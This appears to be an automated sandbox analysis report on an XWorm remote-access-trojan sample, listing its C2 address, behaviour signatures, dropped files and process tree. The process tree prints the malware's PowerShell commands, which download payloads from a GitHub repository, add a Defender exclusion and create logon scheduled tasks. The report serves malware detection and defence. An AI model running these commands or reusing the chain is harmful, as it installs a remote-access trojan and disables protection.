Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    05/04/2026, 06:38

General

  • Target
    2026-04-05_61530fcb63bb8b25aaff4548f2b8b0c4_cobalt-strike_cryptbot_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 15.0MB
  • Sample260405-hej92sa15r
  • SHA256 84773f47d66d9bd625115933b800d5e1beefa3f4147f5a3f29e476e2bda0af87
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/NexoraAPI/project/raw/refs/heads/main/vy.exe

Extracted

Family
  • xworm

Version
  • XWorm V6.5 by t.me/webkillez

C2
  • 95.70.183.89:90

Mutex
  • LNvTlawIhfKagFBN

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 2 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Detects Windows executables referencing non-Windows User-Agents 2 IoCs
  • Detects executables containing URLs to raw contents of a Github gist 2 IoCs
  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 2 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • System policy modification 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-04-05_61530fcb63bb8b25aaff4548f2b8b0c4_cobalt-strike_cryptbot_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-04-05_61530fcb63bb8b25aaff4548f2b8b0c4_cobalt-strike_cryptbot_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:5048
    • C:\Program Files\Java\jre-1.8\bin\javaw.exe
      "C:\Program Files\Java\jre-1.8\bin\javaw.exe" -jar "C:\Users\Admin\AppData\Local\Temp\0uhvqsa7.jar"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:1556
    • C:\Users\Admin\AppData\Local\Temp\svchost.exe
      "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
      2⤵
      • UAC bypass
      • Event Triggered Execution: Image File Execution Options Injection
      • Checks computer location settings
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      • System policy modification
      PID:4212
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command "Invoke-WebRequest -Uri 'https://raw.githubusercontent.com/NexoraAPI/project/refs/heads/main/wscript.vbs' -OutFile 'C:\Users\Admin\AppData\Local\Microsoft\wscript.vbs'"
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4004
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "NetworkUpdates" /tr "'C:\Users\Admin\AppData\Local\Microsoft\NetworkService.exe'" /sc onlogon /rl highest /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:224
      • C:\Windows\SysWOW64\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "NetworkUpdate" /tr "wscript.exe C:\Users\Admin\AppData\Local\Microsoft\wscript.vbs" /sc onlogon /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2040
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " Add-MpPreference -ExclusionPath $env:localappdata\Microsoft "
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2000
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $url = 'https://github.com/NexoraAPI/project/raw/refs/heads/main/vy.exe'; $destinationPath = Join-Path $env:localappdata 'Microsoft\NetworkService.exe'; Invoke-WebRequest -Uri $url -OutFile $destinationPath; Write-Output 'success.'; "
        3⤵
        • Badlisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4328
      • C:\Users\Admin\AppData\Local\Microsoft\NetworkService.exe
        "C:\Users\Admin\AppData\Local\Microsoft\NetworkService.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:4684
  • C:\Windows\system32\wscript.exe
    wscript.exe
    1⤵
      PID:4420
    • C:\Windows\system32\rundll32.exe
      C:\Windows\system32\rundll32.exe C:\Windows\system32\PcaSvc.dll,PcaPatchSdbTask
      1⤵
        PID:3264

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            • Size 1KB
            • SHA256 e2486a1bdcba80dad6dd6210d7374bd70ae196a523c06ceda71370fd3ea78359
            • MD5 SHA1 SHA512 TLSH

            NetworkService.exe

            • Path C:\Users\Admin\AppData\Local\Microsoft\NetworkService.exe
            • Size 32KB
            • SHA256 cc055a13ecacb804e42f6d3e6148c76850a8ec2635e4ef7498e802ed0dbf3c96
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 16KB
            • SHA256 9a13ef6195369fe4c416a94b600c39ceb134369a87381c5725153dd01e16c24e
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 18KB
            • SHA256 150ac478e7dcf91148f5996fe13349d93d4e413ecbe3c5872ca31ce3f6df0223
            • MD5 SHA1 SHA512 SSDEEP TLSH

            0uhvqsa7.jar

            • Path C:\Users\Admin\AppData\Local\Temp\0uhvqsa7.jar
            • Size 2.7MB
            • SHA256 eeb640688131eccf8b93cc6d9674d9438728210c110d0254a8a398a7fbae9a97
            • MD5 SHA1 SHA512 SSDEEP TLSH

            __PSScriptPolicyTest_3ac5gw2n.yol.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ac5gw2n.yol.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            svchost.exe

            • Path C:\Users\Admin\AppData\Local\Temp\svchost.exe
            • Size 10KB
            • SHA256 c04d34e78015316e3a7ba66b5c4adf46eeab81d1b75dbd9ac6d1e57124f56c45
            • MD5 SHA1 SHA512 SSDEEP TLSH

            memory/1556-156-0x000002165DF90000-0x000002165E6CF000-memory.dmp

            memory/1556-153-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-31-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-158-0x0000021643FF0000-0x0000021644260000-memory.dmp

            memory/1556-106-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-137-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-233-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-19-0x0000021643FF0000-0x0000021644260000-memory.dmp

            memory/1556-58-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-73-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-80-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/1556-93-0x00000216437E0000-0x00000216437E1000-memory.dmp

            memory/1556-101-0x0000021643200000-0x0000021643201000-memory.dmp

            memory/2000-143-0x0000000005D20000-0x00000000062D3000-memory.dmp

            memory/2000-140-0x0000000007F10000-0x0000000007F2A000-memory.dmp

            memory/2000-141-0x0000000007EF0000-0x0000000007EF8000-memory.dmp

            memory/2000-139-0x0000000007ED0000-0x0000000007EE4000-memory.dmp

            memory/2000-138-0x0000000006840000-0x000000000684E000-memory.dmp

            memory/2000-113-0x00000000063C0000-0x0000000006714000-memory.dmp

            memory/2000-136-0x0000000006820000-0x0000000006831000-memory.dmp

            memory/2000-123-0x0000000007B30000-0x0000000007B62000-memory.dmp

            memory/2000-124-0x0000000070030000-0x000000007007C000-memory.dmp

            memory/2000-132-0x0000000007B10000-0x0000000007B2E000-memory.dmp

            memory/2000-133-0x0000000007BB0000-0x0000000007C53000-memory.dmp

            memory/2000-134-0x0000000007D60000-0x0000000007D6A000-memory.dmp

            memory/2000-135-0x0000000007F70000-0x0000000008006000-memory.dmp

            memory/4004-36-0x00000000052F0000-0x0000000005356000-memory.dmp

            memory/4004-30-0x00000000054D0000-0x0000000005AF8000-memory.dmp

            memory/4004-51-0x0000000006600000-0x000000000664C000-memory.dmp

            memory/4004-110-0x0000000005B00000-0x00000000060B3000-memory.dmp

            memory/4004-105-0x0000000006AB0000-0x0000000006ACA000-memory.dmp

            memory/4004-104-0x0000000007E40000-0x00000000084BA000-memory.dmp

            memory/4004-37-0x0000000005360000-0x00000000053C6000-memory.dmp

            memory/4004-29-0x0000000002700000-0x0000000002736000-memory.dmp

            memory/4004-45-0x00000000060C0000-0x0000000006414000-memory.dmp

            memory/4004-32-0x0000000005150000-0x0000000005172000-memory.dmp

            memory/4004-50-0x00000000065D0000-0x00000000065EE000-memory.dmp

            memory/4212-165-0x0000000005A00000-0x0000000005FB3000-memory.dmp

            memory/4212-22-0x0000000000A80000-0x0000000000A88000-memory.dmp

            memory/4212-157-0x0000000005A00000-0x0000000005FB3000-memory.dmp

            memory/4328-154-0x0000000007090000-0x00000000070B2000-memory.dmp

            memory/4328-161-0x0000000005D30000-0x00000000062E3000-memory.dmp

            memory/4328-155-0x0000000008450000-0x00000000089F4000-memory.dmp

            memory/4328-151-0x0000000006700000-0x0000000006A54000-memory.dmp

            memory/4684-166-0x0000000000EA0000-0x0000000000EAE000-memory.dmp

            memory/4684-171-0x0000000002FF0000-0x0000000002FFC000-memory.dmp

            memory/4684-172-0x000000001C130000-0x000000001C86F000-memory.dmp

            memory/5048-16-0x000001EBB4710000-0x000001EBB4E4F000-memory.dmp